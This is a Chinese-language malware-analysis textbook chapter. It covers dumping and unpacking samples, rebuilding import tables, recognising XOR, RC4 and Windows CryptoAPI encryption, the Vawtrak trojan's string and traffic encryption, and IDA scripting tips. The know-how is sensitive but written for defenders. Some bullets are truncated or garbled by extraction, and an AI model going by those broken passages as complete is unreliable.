在这一节中,我们将学习如何将解包后的恶意软件从内存转储到磁盘并修复其导入表。除此之外,如果导入表已经由加载程序填充了 API 地址,我们还需要恢复原始值。在这种情况下,其他工具将能够读取它,我们也可以执行它进行动态分析。

转储进程

要转储进程,可以使用OllyDump。 OllyDump 是一个 OllyDbg 插件,可以将进程转储回可执行文件。它将 PE 文件从内存中卸载到必要的文件格式:

图 4.19 – OllyDump UI

图 4.19 – OllyDump UI

一旦从先前的手动解包过程中到达 OEP,您可以将 OEP 设置为新的入口点。 OllyDump 可以修复导入表(正如我们即将描述的那样)。 如果愿意使用其他工具,可以使用它或取消重建导入复选框。另一个选择是使用诸如PEToolsLord PE(用于 32 位)以及VSD(用于 32 和 64 位 Windows)之类的工具。除了所谓的Dump Full选项,主要是转储与样本相关的原始部分外,这些解决方案还可以转储特定的内存区域 – 例如,用于解密/解包样本的已分配内存,如下面的截图所示:

图 4.20 – PETools 的区域转储窗口

图 4.20 – PETools 的区域转储窗口

接下来,我们将看看如何修复恶意软件的导入表。

修复导入表

现在,你可能会问:需要修复的导入表会发生什么?答案是:当 PE 文件在进程内存中加载或者解包器存根加载导入表时,加载器会遍历导入表(你可以在第三章x86/x64 的基本静态和动态分析中找到更多信息),并使用可用于计算机上的 DLL 实际地址填充它们。这里是一个例子:

图 4.21 – PE 加载前后的导入表

图 4.21 – PE 加载前后的导入表

在此之后,这些 API 地址将用于在应用程序代码中访问这些 API,通常通过使用calljmp指令:

图 4.22 – 不同 API 调用的示例

图 4.22 – 不同 API 调用的示例

要恢复导入表,我们需要找到这些 API 地址列表,找到每个地址代表的 API(我们需要逐个库列表地址和相应的 API 名称进行查找),然后用指向 API 名称字符串的偏移量或序数值替换每个地址。如果在文件中找不到 API 名称,可能需要创建一个新的部分,将这些 API 名称添加到其中,并用它们来恢复导入表。

幸运的是,有些工具可以自动完成这些操作。 在本节中,我们将讨论Import REConstructorImpREC)。 这是它的外观:

图 4.23 – ImpREC 接口

图 4.23 – ImpREC 接口

要修复导入表,您需要按照以下步骤操作:

  1. 使用例如OllyDump(并取消选中Rebuild Import复选框)或其他首选工具,转储进程或任何库。

  2. 打开ImpREC并选择当前正在调试的进程。

  3. 现在,将 OEP 值设置为正确的值,然后点击IAT AutoSearch

  4. 之后,点击Get Imports,并删除Imported Functions Found部分中任何valid: NO的行。

  5. 点击Fix Dump按钮,然后选择之前转储的文件。现在,你将得到一个工作正常、未打包的 PE 文件。你可以将它加载到 PEiD 或任何其他 PE 浏览器应用程序中,检查它是否正常工作。

重要说明

对于 64 位 Windows 系统,可以使用 Scylla 或 CHimpREC 工具来代替。

在接下来的章节中,我们将讨论基本的加密算法和功能,以增强我们的知识基础,从而丰富我们的恶意软件分析能力。

识别简单的加密算法和功能

在本节中,我们将了解广泛使用的简单加密算法。我们将学习对称加密和非对称加密之间的区别,并将学习如何在恶意软件的反汇编代码中识别这些加密算法。

加密算法的类型

加密是修改数据或信息的过程,目的是使其在没有密钥的情况下不可读或无法使用,而该密钥仅提供给那些预期会读取消息的人。编码或压缩与加密的区别在于,编码和压缩不使用任何密钥,它们的主要目标与保护信息或限制访问信息无关,而加密则有此目的。

加密算法有两种基本类型:对称算法和非对称算法(也称为公钥算法)。让我们来探讨它们之间的区别:

  • 对称算法:这些算法使用相同的密钥进行加密和解密。它们使用一个由双方共享的单一密钥:

图 4.24 – 对称算法解释

图 4.24 – 对称算法解释

  • 非对称算法:在这种情况下,使用了两个密钥,一个用于加密,另一个用于解密。这两个密钥分别称为公钥私钥。一个密钥是公开的(公钥),而另一个密钥是保密的(私钥)。以下是一个高层次的示意图,描述了这一过程:

图 4.25 – 非对称算法解释

图 4.25 – 非对称算法解释

现在,让我们谈谈恶意软件中常用的简单自定义加密算法。

基本加密算法

大多数恶意软件使用的加密算法由基本的数学和逻辑指令组成——即xoraddsubrolror。这些指令是可逆的,在加密时使用它们不会丢失数据,而与shlshr等指令相比,后者可能会丢失左侧或右侧的一些位。这种情况也会发生在andor指令中,当使用or与 1 或and与 0 时,可能会导致数据丢失。

这些操作可以以多种方式使用,具体如下:

  • rol指令:

图 4.26 – rol指令示例

图 4.26 – rol指令示例

  • 运行密钥加密:在这里,恶意软件在加密过程中更改密钥。以下是一个示例:

    loop_start:
    mov edx, <secret_key>
    xor dword ptr [<data_to_encrypt> + eax], edx
    add edx, 0x05 ; add 5 to the key
    inc eax
    loop loop_start
    
  • 0x23)。

  • 其他加密算法:恶意软件作者在创造新的算法时总是有源源不断的创意,这些算法代表了这些算术和逻辑指令的组合。这就引出了下一个问题:我们如何识别加密函数?

在反汇编中识别加密函数

以下截图展示了从14编号的区域。这些区域对于理解和识别恶意软件中使用的加密算法至关重要:

图 4.27 – 识别加密算法时需要注意的事项

图 4.27 – 识别加密算法时需要注意的事项

要识别加密函数,您需要搜索四个要素,如下表所示:

这四个要素是任何加密循环的核心部分。在一个小的加密循环中它们很容易被发现,但在更复杂的加密循环(如 RC4 加密)中,可能更难发现,我们稍后会讨论 RC4 加密。

简单算法的字符串搜索检测技术

在本节中,我们将探讨一种名为X-RAYING的技术(由 Peter Ferrie 在 VB2004 的PRINCIPLES AND PRACTICE OF X-RAYING文章中首次提出)。这种技术被杀毒软件和其他静态签名工具用于检测具有签名的样本,即使它们是加密的。该技术可以深入加密层,揭示样本代码并检测它,而无需知道加密密钥,且无需使用像暴力破解等费时的技术。在这里,我们将描述该技术的理论和应用,以及一些可以帮助我们使用该技术的工具。我们可以使用此技术来检测嵌入的 PE 文件或解密恶意样本。

X-RAYING 的基础知识

对于我们之前描述的那些算法类型,如果你有加密数据、加密算法和秘密密钥,你可以轻松地解密数据(这也是所有加密算法的目的);然而,如果你只有加密数据(密文)和一部分已解密的数据,你仍然能够解密剩余的加密数据吗?

在 X 射线技术中,如果你拥有一部分已解密的数据(明文),即使你不知道该明文数据在整个加密数据块中的偏移位置,你也可以暴力破解算法及其秘密密钥。它适用于我们之前描述的几乎所有简单算法,即便是多层加密。对于大多数加密的 PE 文件,明文通常包含诸如This program cannot run in DOS modekernel32.dll的字符串,以及一系列的空字节。

首先,我们将选择第一个候选加密算法,例如,XOR。然后,我们将在密文中搜索一部分明文。为此,我们将使用一部分预期的明文与密文进行 XOR 运算,例如,一个 4 字节的字符串。XOR 运算的结果将为我们提供一个候选解密密钥(这是 XOR 算法的一个特性)。然后,我们将使用这个密钥来测试剩余的明文。如果这个密钥有效,它将揭示密文的剩余部分明文,这意味着我们已经找到了秘密密钥,并且可以解密剩余的数据。

现在,让我们来讨论一些可能帮助我们加速这个过程的工具。

X 射线工具用于恶意软件分析和检测

一些工具已经被编写出来,帮助恶意软件研究人员使用 X 射线技术进行扫描。以下是您可以使用的这些工具,可以通过命令行或脚本来使用:

  • rolror指令):

图 4.28 – XORSearch 用户界面

图 4.28 – XORSearch 用户界面

  • xor签名:

图 4.29 – 使用 YARA 签名的示例

图 4.29 – 使用 YARA 签名的示例

对于更高级的 X 射线技术,您可能需要编写一个小脚本手动扫描。

识别 RC4 加密算法

RC4 算法是恶意软件作者最常用的加密算法之一,主要因为它简单,同时又足够强大,不像其他简单的加密算法那样容易被破解。恶意软件作者通常手动实现它,而不是依赖于 WinAPI,这使得新手逆向工程师更难识别。在本节中,我们将看到该算法的具体样子以及如何识别它。

RC4 加密算法

RC4 算法是一个对称流加密算法,由两部分组成:密钥调度算法KSA)和伪随机生成算法PRGA)。让我们更详细地了解一下它们。

密钥调度算法

算法的秘钥调度部分从秘钥创建一个称为 S 数组的 256 字节数组。这个数组将用于初始化流密钥生成器。它由两部分组成:

  • 它按顺序创建一个从 0256S 数组:

    for i from 0 to 255
      S[i] := i
    endfor
    
  • 它使用密钥材料排列 S 数组:

    for i from 0 to 255
      j := (j + S[i] + key[i mod keylength]) mod 256
      swap values of S[i] and S[j]
    endfor
    

一旦密钥的初始化部分完成,解密算法就开始了。在大多数情况下,KSA 部分是写在一个单独的函数中的,这个函数只接受密钥作为参数,而不需要加密或解密的数据。

伪随机生成算法(PRNG)

算法的伪随机生成部分只是生成伪随机值(再次基于字节交换,就像我们为 S 数组所做的那样),但也执行与生成的值和数据中的一个字节的 XOR 操作:

i := 0
j := 0
while GeneratingOutput:
  i := (i + 1) mod 256
  j := (j + S[i]) mod 256
  swap values of S[i] and S[j]
  K := S[(S[i] + S[j]) mod 256]
  Data[i] = Data[i] xor K
endwhile

如你所见,实际的加密算法是 xor。然而,所有这些交换旨在每次生成一个不同的密钥值(类似于滑动秘钥算法)。

在恶意软件样本中识别 RC4 算法

要识别 RC4 算法,一些关键特征可以帮助你检测它:

  • RC4 算法如下:

图 4.30 – RC4 算法中的数组生成

图 4.30 – RC4 算法中的数组生成

  • 存在大量的交换:如果你能识别出交换函数或代码,你会发现它无处不在于 RC4 算法中。算法的 KSA 和 PRGA 部分是它是 RC4 算法的一个很好的标志:

图 4.31 – RC4 算法中的交换

图 4.31 – RC4 算法中的交换

  • 实际算法是 XOR:在循环结束时,你会注意到这个算法是一个 XOR 算法。所有的交换都是在密钥上进行的。唯一影响数据的变化是通过 XOR 进行的:

图 4.32 – RC4 算法中的异或操作

图 4.32 – RC4 算法中的异或操作

  • 加密和解密的相似性:你还会注意到加密和解密函数是相同的函数。XOR 逻辑门是可逆的。你可以用 XOR 和秘钥加密数据,然后用相同的秘钥和 XOR 解密这个加密数据(这与加/减算法等不同)。

现在是时候讨论更复杂的算法了。

高级对称和非对称加密算法

像对称 DES 和 AES 或非对称 RSA 这样的标准加密算法被恶意软件作者广泛使用。然而,包含这些算法的大多数样本从不实现这些算法自身或将它们的代码复制到它们的恶意软件中。它们通常使用 Windows API 来实现。

这些算法在数学上比简单的加密算法或 RC4 更加复杂。虽然你不一定需要理解它们的数学背景就能理解它们是如何实现的,但了解如何识别它们的使用方式、如何确定涉及的具体算法、加密/解密密钥以及数据是很重要的。

从 Windows 加密 API 中提取信息

一些常见的 API 用于提供对加密算法的访问,包括 DES、AES、RSA,甚至 RC4 加密。这些 API 包括CryptAcquireContextCryptCreateHashCryptHashDataCryptEncryptCryptDecryptCryptImportKeyCryptGenKeyCryptDestroyKeyCryptDestroyHashCryptReleaseContext(来自Advapi32.dll)。

在这里,我们将看看恶意软件如何通过这些算法加密或解密数据,并且如何识别所使用的具体算法以及密钥。

步骤 1 – 初始化并连接到加密服务提供者(CSP)

加密服务提供者是一个在 Microsoft Windows 中实现与加密相关的 API 的库。为了初始化并使用这些提供者,恶意软件样本执行CryptAcquireContext API,如下所示:

CryptAcquireContext(&hProv,NULL,MS_STRONG_PROV,PROV_RSA_FULL,0);

你可以在系统的注册表中的以下密钥找到所有支持的提供者:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider

步骤 2 – 准备密钥

准备加密密钥有两种方式。如你所知,这些算法的加密密钥通常是固定大小的。以下是恶意软件作者常用来准备密钥的步骤:

  1. 首先,作者使用他们的明文密钥并通过任何已知的哈希算法(如MD5SHA128SHA256等)对其进行哈希:

    CryptCreateHash(hProv,CALG_MD5,0,0,&hHash); CryptHashData(hHash,secretkey,secretkeylen,0);
    
  2. 然后,它们使用CryptDeriveKey从这个哈希值创建会话密钥,如下所示:

    CryptDeriveKey(hProv, CALG_3DES, hHash, 0, &hKey);
    

从这里,他们可以轻松识别从 API 传递的第二个参数值中的算法。最常见的算法/值如下:

CALG_DES = 0x00006601  // DES encryption algorithm.
CALG_3DES = 0x00006603 // Triple DES encryption algorithm.
CALG_AES = 0x00006611  // Advanced Encryption Standard (AES).
CALG_RC4 = 0x00006801   // RC4 stream encryption algorithm.
CALG_RSA_KEYX = 0x0000a400 // RSA public key exchange algorithm.
  1. 一些恶意软件作者使用KEYBLOB,其中包含他们的密钥,并与CryptImportKey一起使用。KEYBLOB是一个简单的结构,包含密钥类型、使用的算法以及加密的秘密密钥。KEYBLOB的结构如下:

    typedef struct KEYBLOB { BYTE bType;
    BYTE bVersion; WORD reserved; ALG_ID aiKeyAlg; DWORD KEYLEN;
    BYTE[] KEY;}
    

bType短语表示此密钥的类型。最常见的类型如下:

  • PLAINTEXTKEYBLOB (0x8):表示一个对称算法的明文密钥,如DES3DESAES

  • PRIVATEKEYBLOB (0x7):表示这是一个非对称算法的私钥

  • PUBLICKEYBLOB (0x6):表示这是一个非对称算法的公钥

aiKeyAlg短语包含CryptDeriveKey的第二个参数,即算法类型。以下是一些KEYBLOB的示例:

BYTE DesKeyBlob[] = { 0x08,0x02,0x00,0x00,0x01,0x66,0x00,0x00, // BLOB header 0x08,0x00,0x00,0x00, // key length, in bytes
0xf1,0x0e,0x25,0x7c,0x6b,0xce,0x0d,0x34 // DES key with parity
};

如你所见,第一个字节(bType)显示我们这是一个PLAINTEXTKEYBLOB,而算法(0x01,0x66)表示CALG_DES (0x6601)

另一个示例如下:

BYTE rsa_public_key[] = {
0x06, 0x02, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00,
0x52, 0x53, 0x41, 0x31, 0x00, 0x08, 0x00, 0x00,
...
}

这表示一个 PUBLICKEYBLOB (0x6),而算法表示 CALG_RSA_KEYX (0xa400)。之后,它们通过 CryptImportKey 被加载:

CryptImportKey(akey->prov, (BYTE *) &key_blob, sizeof(key_blob), 0, 0, &akey->ckey)

下面是它在汇编语言中的示例:

图 4.33 – 使用 CryptImportKey API 导入 RSA 密钥

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ms-mlw-anal-2e/img/Figure_4.33_B18500.jpg)

图 4.33 – 使用 CryptImportKey API 导入 RSA 密钥

一旦密钥准备就绪,就可以用于加密和解密操作。

第 3 步 – 加密或解密数据

现在密钥已经准备好,恶意软件使用 CryptEncryptCryptDecrypt 来加密或解密数据。使用这些 API,你可以识别加密数据块(或待加密数据块)的起始位置。这些 API 的使用方式如下:

CryptEncrypt(hKey,NULL,1,0,cyphertext,ctlen,sz); CryptDecrypt(hKey,NULL,1,0,plaintext,&ctlen);

第 4 步 – 释放内存

这是最后一步,我们通过使用 CryptDestroyKey API 来释放内存和所有已使用的句柄。

下一代密码学 API(CNG)

还有其他方式可以实现这些加密算法。其中一种是使用 密码学 API: 下一代CNG),它是微软实现的一组新 API。尽管目前在恶意软件中尚未广泛使用,但它们更容易理解并从中提取信息。使用这些 API 的步骤如下:

  1. MSDN 列出了支持的算法:

    BCryptOpenAlgorithmProvider(&hAesAlg, BCRYPT_AES_ALGORITHM, NULL, 0)
    
  2. 准备密钥:这与对称和非对称算法中密钥的准备方式不同。此 API 可能使用导入的密钥或生成一个密钥。这可以帮助你提取用于加密的秘密密钥,方法如下:

    BCryptGenerateSymmetricKey(hAesAlg, &hKey, pbKeyObject, cbKeyObject, (PBYTE)SecretKey, sizeof(SecretKey), 0)
    
  3. 加密或解密数据:在此步骤中,你可以轻松识别出要加密(或解密)数据块的起始位置:

    BCryptEncrypt(hKey, pbPlainText, cbPlainText, NULL, pbIV, cbBlockLen, NULL, 0, &cbCipherText, BCRYPT_BLOCK_PADDING)
    
  4. 使用 BCryptCloseAlgorithmProviderBCryptDestroyKeyHeapFree 清理数据。

现在,让我们看看这些知识如何帮助我们理解恶意软件的功能。

现代恶意软件中加密的应用 —— Vawtrak 银行木马

在本章中,我们已经看到加密或打包如何用于保护整个恶意软件。这里,我们将查看这些加密算法在恶意软件代码中的其他实现,用于混淆和隐藏恶意密钥特征。这些密钥特征可以通过静态签名或甚至网络签名来识别恶意软件家族。

在这一部分中,我们将查看一个已知的银行木马——Vawtrak。我们将看到这个恶意软件家族如何加密它的字符串和 API 名称,并混淆其网络通信。

字符串和 API 名称加密

Vawtrak 实现了一个相当简单的加密算法。它基于滑动密钥算法的原理,并使用减法作为主要的加密技术。它的加密过程如下:

图 4.34 – Vawtrak 恶意软件中的加密循环

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ms-mlw-anal-2e/img/Figure_4.34_B18500.jpg)

图 4.34 – Vawtrak 恶意软件中的加密循环

加密算法由两个部分组成:

  • 生成下一个密钥:此操作生成一个 4 字节的数字(称为种子),并仅使用其中的 1 个字节作为密钥:

    seed = ((seed * 0x41C64E6D) + 0x3039 ) & 0xFFFFFFFF key = seed & 0xFF
    
  • 加密数据:这部分非常简单,它使用以下逻辑加密数据:

    data[i] = data[i] - eax
    

该加密算法用于加密 API 名称和 DLL 名称,以便解密后,恶意软件可以使用名为LoadLibrary的 API 动态加载 DLL,如果 DLL 尚未加载,则加载该库,或者如果已经加载,则仅获取其句柄。

在获取 DLL 地址后,恶意软件通过名为GetProcAddress的 API 获取要执行的 API 地址,该 API 通过库的句柄和 API 名称获取该函数地址。恶意软件实现如下:

图 4.35 – 在 Vawtrak 恶意软件中解析 API 名称

图 4.35 – 在 Vawtrak 恶意软件中解析 API 名称

相同的函数(DecryptString)在恶意软件内部被频繁使用,用于根据需要解密每个字符串(仅在使用时),如下所示:

图 4.36 – Vawtrak 恶意软件中的解密例程交叉引用

图 4.36 – Vawtrak 恶意软件中的解密例程交叉引用

要解密此内容,您需要遍历每个调用解密函数的调用,并传递被加密字符串的地址来解密它。这可能是费力的或耗时的,因此自动化(例如,使用 IDA Python 或可脚本化的调试器/模拟器)可能会有所帮助,正如我们将在下一节中看到的那样。

网络通信加密

Vawtrak 可以使用不同的加密算法对其网络通信进行加密。它实现了多种算法,包括RC4LZMA压缩、LCG加密算法(这是用于字符串的,如我们在前一节中提到的)等。在本节中,我们将查看其加密的不同部分。

在请求中,它实现了一些加密,以隐藏基本信息,包括CAMPAIGN_IDBOT_ID,如以下截图所示:

图 4.37 – Vawtrak 恶意软件的网络流量

图 4.37 – Vawtrak 恶意软件的网络流量

Cookie,即PHPSESSID,包含了一个加密密钥。使用的加密算法是 RC4 加密。解密后的消息如下:

图 4.38 – 从 Vawtrak 恶意软件的网络流量中提取的信息

图 4.38 – 从 Vawtrak 恶意软件的网络流量中提取的信息

解密后的PHPSESSID在前 4 个字节中包含 RC4 密钥。BOT_ID和下一个字节表示Campaign_Id(0x03),其余的字节表示其他重要信息。

接收到的数据具有以下结构,包括用于解密的第一个种子、总大小以及用于解密的多种算法:

图 4.39 – Vawtrak 恶意软件中用于解密的结构

图 4.39 – Vawtrak 恶意软件中用于解密的结构

不幸的是,网络通信没有简单的方法可以抓取所使用的算法或协议结构。你必须搜索网络通信函数,如 HttpAddRequestHeadersA(我们在解密过程中看到的那个)和其他网络 API,跟踪接收到的数据,以及跟踪将要发送的数据,直到你找到命令与控制通信背后的算法和结构。

现在,让我们探索 IDA 的各种功能,这些功能可能有助于我们理解并绕过涉及的加密和打包技术。

使用 IDA 进行解密和解包

IDA 是一个非常方便的工具,用于存储分析样本的标记。它的嵌入式调试器和多个远程调试器服务器应用程序允许你在一个地方进行静态和动态分析,支持多个平台——即使是那些 IDA 无法独立执行的平台。它还具有多个插件,可以进一步扩展其功能,并且内嵌的脚本语言可以自动化各种繁琐的任务。

IDA 小贴士和技巧

虽然 OllyDbg 在调试方面提供了相当不错的功能,但总体而言,IDA 在维护标记方面有更多选择。这就是为什么许多逆向工程师倾向于在 IDA 中同时进行静态和动态分析,特别是在解包方面非常有用。以下是一些小贴士和技巧,能够让这个过程更加愉快。

静态分析

首先,让我们看一下主要适用于静态分析的一些建议:

  • 当使用内存转储而不是原始样本时,可能会出现导入表已经填充了 API 地址的情况。

获取实际 API 名称的简单方法是使用 pe_dlls.idc 脚本,该脚本分发在 pe_scripts.zip 包中。该包可以在官方 IDA 网站上免费下载。从那里,你需要加载从生成转储的机器上获取的 DLL。指定 DLL 名称时,别忘了去掉文件名扩展名,因为在 IDA 中,文件名中不能使用点号符号。此外,该脚本不允许你选择 DLL 的基址。为了解决这个问题,在 pe_sections.idc 脚本的第 692 行添加以下代码:

imageBase = long(ask_addr(imageBase, “Enter base address”));
  • 通常来说,在 IDA 的 Structures 标签中重建恶意软件使用的结构比在反汇编代码中添加注释要更有意义,后者通常位于访问其字段的指令旁边。跟踪结构是一种错误更少的方式,并且意味着我们可以将其重复使用在类似的样本中,以及比较恶意软件的不同版本。

之后,你可以简单地右键点击该值并选择结构体偏移量选项(T热键)。可以通过在结构体子视图中按Ins热键快速添加结构体并指定其名称。然后,通过将光标放置在结构体末尾并按D热键一次、两次或三次,具体取决于所需的大小,添加单个字段。最后,要添加其余大小相同的字段,选择所需的字段,右键点击并选择数组...选项,指定具有相同大小的元素数量,并取消选中使用“dup”构造创建为数组选项的复选框。

  • 对于恶意软件访问存储在堆栈中的结构体字段的情况,可以通过右键点击并选择**手动...**选项(Alt + F1 热键)来获取实际偏移量,替换变量名为结构体开头的指针名称和剩余的偏移量,然后将偏移量替换为所需的结构体字段,如下图所示:

图 4.40 – 将本地变量映射到相应的结构体字段

图 4.40 – 将本地变量映射到相应的结构体字段

确保在重命名操作数时启用检查操作数选项,以验证值的总和是否保持准确。

另一种选择是选择变量的文本(而不仅仅是左键点击它),右键点击结构体偏移量选项(同样是T热键),指定偏移量差值,该值应等于结构体开头的指针偏移量,最后选择建议的结构体字段。

该方法更快捷,但不会保留指针的名称,如下图所示:

图 4.41 – 将本地变量映射到结构体字段的另一种方法

图 4.41 – 将本地变量映射到结构体字段的另一种方法

  • 许多自定义加密算法使用了xor操作,因此找到它们的简单方法是按照以下步骤操作:

    1. 打开包含两个不同寄存器或一个未通过帧指针寄存器(ebp)访问的内存值的xor指令。
  • 不要犹豫使用免费插件,如–v命令行参数来获取已识别函数的虚拟地址。

  • 如果需要导入包含枚举定义列表的 C 文件,建议使用h2enum.idc脚本(不要忘记在第二个对话框中提供正确的掩码)。导入包含结构体的 C 文件时,通常应该在其前面加上#pragma pack(1)语句,以保持偏移量正确。文件 | 加载文件 | 解析 C 头文件...选项和Tilib工具在大多数情况下可以互换使用。

  • 如果需要重命名多个指向实际 API 的连续值,选择所有这些值并执行renimp.idc脚本,该脚本可以在 IDA 的idc目录中找到。

  • 如果你需要在一台 Windows 机器上同时使用IDA <= 6.95IDA 7.0+,请按照以下步骤操作:

    1. 安装 x86 和 x64 的 Python 到不同的位置——例如,C:\Python27C:\Python27x64

    2. 确保以下环境变量指向IDA <= 6.95的设置:

    set PYTHONPATH=C:\Python27;C:\Python27\Lib;C:\Python27\DLLs;C:\Python27\Lib\lib-tk;
    set NLSPATH=C:\IDA6.95\
    

通过这种方式,IDA <= 6.95可以像平常一样通过点击其图标使用。要执行 IDA 7.0+,请创建一个特殊的LNK文件,该文件将在执行 IDA 之前重新定义这些环境变量:

C:\Windows\System32\cmd.exe /c “SET PYTHONPATH=C:\Python27x64;C:\Python27x64\Lib;C:\Python27x64\DLLs;C:\Python27x64\Lib\lib-tk; && SET NLSPATH=C:\IDA7.0 && START /D ^”C:\IDA7.0^” ida.exe”
  • 如果你的 IDA 版本未包含 Delphi 编程语言的 FLIRT 签名,仍然可以使用IDR工具生成的 IDC 脚本进行标记。建议仅应用它生成的脚本中的名称。

  • IDA 的最新版本提供了对 Go 语言编写的程序的良好支持。对于旧版本的 IDA,应该使用像golang_loader_assistIDAGolangHelper这样的插件。

  • 为了处理变量扩展混淆,如果可以使用 IDA Hex-Rays 反编译器,请使用基于Z3项目的D-810插件。其界面如下所示:

图 4.42 – D-810 插件支持的去混淆规则

图 4.42 – D-810 插件支持的去混淆规则

  • 通常,恶意软件样本会附带像 OpenSSL 这样的开源库,这些库被静态链接以利用正确实现的加密算法。分析这样的代码可能相当棘手,因为可能不容易看出代码的哪一部分属于恶意软件,哪一部分属于合法的库。此外,弄清楚库中每个函数的目的可能需要相当长的时间。像.lib/.a文件这样的开源项目用于所需平台的 OpenSSL(在我们的例子中是 Windows)。编译器应该尽量接近恶意软件所使用的编译器。

  • 从官方网站获取适用于你的 IDA 的Flair工具包。该包包含一套用于从各种对象和库格式(OMF、COFF 等)生成统一 PAT 文件的工具,以及sigmake工具。

  • 生成 PAT 文件,例如,可以使用pcf工具:

pcf libcrypto.a libcrypto.pat
  1. 使用.sig文件:
sigmake libcrypto.pat libcrypto.sig

如有必要,通过编辑创建的.exc文件并重新运行sigmake来解决冲突。

  1. 将生成的.sig文件放入 IDA 根目录下的sig文件夹中。

  2. 按照以下步骤学习如何使用它:

    1. 转到视图 | 打开 子视图 | 签名Shift + F5快捷键)。

    2. 右键点击应用新签名Ins快捷键)。

    3. 找到你指定名称的签名,并通过按确定或双击它来确认。

    4. 另一种方法是使用文件 | 加载文件 | **FLIRT 签名文件...**选项。

另一个创建自定义 FLIRT 签名的流行选项是idb2pat工具。

现在,让我们讨论 IDA 在动态分析方面的功能。

动态分析

现在,除了经典的反汇编功能外,IDA 还具备多种调试选项。以下是一些旨在简化 IDA 动态分析的技巧:

  • 要在 IDA 中调试样本,请确保样本具有可执行文件扩展名(例如 .exe);否则,旧版本的 IDA 可能会拒绝执行它,提示文件不存在。

  • 旧版本的 IDA 没有位于 IDA dbgsrv 文件夹中的win64_remotex64.exe服务器应用程序。如果需要,可以在同一台机器上运行它,并通过调试器 | **进程选项...**选项使它们通过本地主机进行交互。

图形视图仅显示已识别或创建的函数的图形。可以使用空格键快速切换文本视图和图形视图。调试开始时,图形视图中的图形概览窗口可能会消失,但可以通过选择视图 | 图形概览选项来恢复。

  • 默认情况下,IDA 在打开文件时会自动执行分析,这意味着后续解压的代码将不会被分析。要动态修复此问题,请按照以下步骤操作:

    1. 如有必要,通过按下C热键使 IDA 识别解压块的入口点为代码。通常,将其作为函数处理也是有意义的,可以使用P热键来实现。

    2. 将存储解压代码的内存段标记为加载器段。按照以下步骤进行操作:

      1. 进入视图 | 打开子视图 | Shift + F7 快捷键组合)。

      2. 找到存储感兴趣代码的段。

      3. 可以右键点击它并选择**编辑段...**选项,或者使用Ctrl + E 快捷键组合。

      4. 加载器段复选框中打勾。

    3. 重新运行分析,方法是进入选项 | 常规... | 分析,然后按下重新分析程序按钮,或者右键点击主 IDA 窗口的左下角,在那里选择重新分析程序选项。

  • 如果需要解压 DLL,请按照以下步骤进行操作:

    1. 像加载任何其他可执行文件一样将其加载到 IDA 中。

    2. 选择你偏好的调试器:

      • 本地 Win32 调试器,适用于 32 位 Windows

      • 使用win64_remote64.exe应用程序进行远程 Windows 调试,适用于 64 位 Windows。

    3. 进入rundll32.exe(或regsvr32.exe,用于 COM DLL,可通过DllRegisterServer/DllUnregisterServer或存在的DllInstall导出进行识别)到应用程序字段。

    4. 参数字段中设置 DLL 的完整路径。附加参数会根据 DLL 的类型有所不同:

  1. 对于使用rundll32.exe加载的典型 DLL,追加要调试的导出函数的名称或序数(例如,#1),并用逗号与路径分开。即使只想执行主入口点逻辑,也必须提供参数。

  2. 对于CPlApplet导出,可以在分析的 DLL 路径之前指定shell32.dll,Control_RunDLL参数。

  3. 对于通常使用regsvr32.exe加载的 COM DLL,如果需要调试DllUnregisterServer导出,则应在完整路径前添加/u参数。对于DllInstall导出,应改为使用/n/i[:cmdline]参数的组合。

  4. 如果 DLL 是一个服务 DLL(通常可以通过ServiceMain导出函数和与服务相关的导入来识别),并且您需要正确调试ServiceMain,请参阅第三章x86/x64 的基本静态和动态分析,获取有关如何调试服务的详细信息。

  • 在用于动态分析的其他脚本中,funcap工具似乎非常方便,因为它允许您记录在执行过程中传递给函数的参数,并在完成后将它们保留在注释中。

  • 如果在解密后,恶意软件不断使用另一个内存段的代码和数据(Trickbot 是一个很好的例子),可以将这些段转储到 IDB 中,然后使用0分别添加它们,并在0中指定实际虚拟地址,可以通过转到View | Open subviews | Selectors并将相关选择器的值更改为零来修复它。

IDA 脚本的经典和新语法

谈到脚本编写,最初编写 IDA 脚本的方式是使用专有的 IDC 语言。它提供了多个高级 API,可以在静态和动态分析中使用。后来,IDA 开始支持 Python,并通过idc模块提供与同名 IDC 函数的访问。另一个功能(通常更低级)可以在idaapiidautils模块中找到,但对于自动化大多数通用操作而言,idc模块已经足够好用。

随着 API 列表随着时间的推移不断扩展,累积了越来越多的命名不一致性。最终,在某个阶段,开始需要进行修订,这是不可能同时保持向后兼容性的。因此,从 IDA 版本 7.0 开始(在 6.95 之后的下一个版本),引入了一个新的 API 列表,影响了依赖 SDK 和 IDC 函数的插件。其中一些仅仅从CamelCase改为underscore_case,而其他一些则被替换为新的函数。

这里有一些示例,展示了它们的原始和新语法:

  • Functions/NextFunctionget_next_func允许您迭代函数。

  • Heads/NextHeadnext_head 允许你遍历指令。

  • ScreenEAget_screen_ea 获取当前光标所在位置的样本虚拟地址。

  • Byte/Word/Dwordbyte/word/dword 读取特定大小的值。* PatchByte/PatchWord/PatchDwordpatch_byte/patch_word/patch_dword 写入特定大小的块。* OpEnumExop_enum 将操作数转换为 enum 值。

辅助数据存储

  • AddEnumadd_enum 添加一个新的 enum

  • AddStrucExadd_struc 添加一个新的结构。

这是一个实现自定义 XOR 解密算法的 IDA Python 脚本示例,适用于短块:

图 4.43 – 32 位 Windows 的原始 IDA Python API 语法

图 4.43 – 32 位 Windows 的原始 IDA Python API 语法

这里有一个实现相同自定义 XOR 解密算法的脚本,适用于使用新语法的 64 位架构:

图 4.44 – 64 位 Windows 的新 IDA Python API 语法

图 4.44 – 64 位 Windows 的新 IDA Python API 语法

一些情况可能需要大量时间来分析一个相对较大的样本(或多个样本),如果工程师没有使用 IDA 脚本,并且恶意软件使用动态字符串解密和动态 WinAPI 解析。

动态字符串解密

在这种情况下,块状的加密字符串不会一次性解密。相反,每个字符串在使用前会立即被解密,因此它们从未被一次性解密。为了解决这个问题,请按以下步骤操作:

  1. 查找负责解密所有字符串的函数。

  2. 在脚本中复制解密器的行为。

  3. 让脚本通过跟踪交叉引用查找代码中所有调用此函数的地方,并读取将作为其参数传递的加密字符串。

  4. 解密它并将其写回加密内容上方,以确保所有引用保持有效。

动态 WinAPI 解析

